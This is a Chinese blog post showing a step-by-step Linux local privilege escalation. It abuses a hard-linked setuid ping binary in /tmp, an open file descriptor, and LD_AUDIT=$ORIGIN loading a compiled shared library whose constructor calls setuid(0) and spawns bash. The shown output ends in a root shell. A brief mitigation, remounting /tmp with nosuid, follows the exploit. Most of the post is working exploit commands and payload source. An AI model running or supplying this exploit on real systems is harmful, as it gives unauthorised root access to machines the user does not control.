linux 利用tmp提权

以一个普通用户登录
[hello@localhost tmp]$ ls -ld /tmp/   因为tmp目录能写文件!!
drwxrwxrwt 11 root root 4096 10-14 21:29 /tmp/
[hello@localhost tmp]$ cd /tmp/
[hello@localhost tmp]$ mkdir exploit
[hello@localhost tmp]$ ln /bin/ping /tmp/exploit/target
[hello@localhost tmp]$ exec 3< /tmp/exploit/target     文件描述符,把/tmp/exploit/target定义为文件描述符3
[hello@localhost tmp]$ ls -l /proc/$$/fd/3 
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target
[hello@localhost tmp]$ rm -fr /tmp/exploit/
[hello@localhost tmp]$ ls -l /proc/$$/fd/3 
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)
[hello@localhost tmp]$ cat > payload.c       高级系统管理员必须要把c学的很明白!!
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
[hello@localhost tmp]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[hello@localhost tmp]$ ls -l /tmp/exploit 
-rwxrwxr-x 1 hello hello 4223 10-20 09:32 /tmp/exploit
[hello@localhost tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3     定义环境变量
[root@localhost tmp]# whoami 
root


--------------
http://marc.info/?l=full-disclosure&m=128739684614072&w=2
-
一般不开777权限目录的.   如果要则
对777的目录做如下操作,可以控制你提权的.比如/tmp
# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp      nosuid 不允许执行suid权限


  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值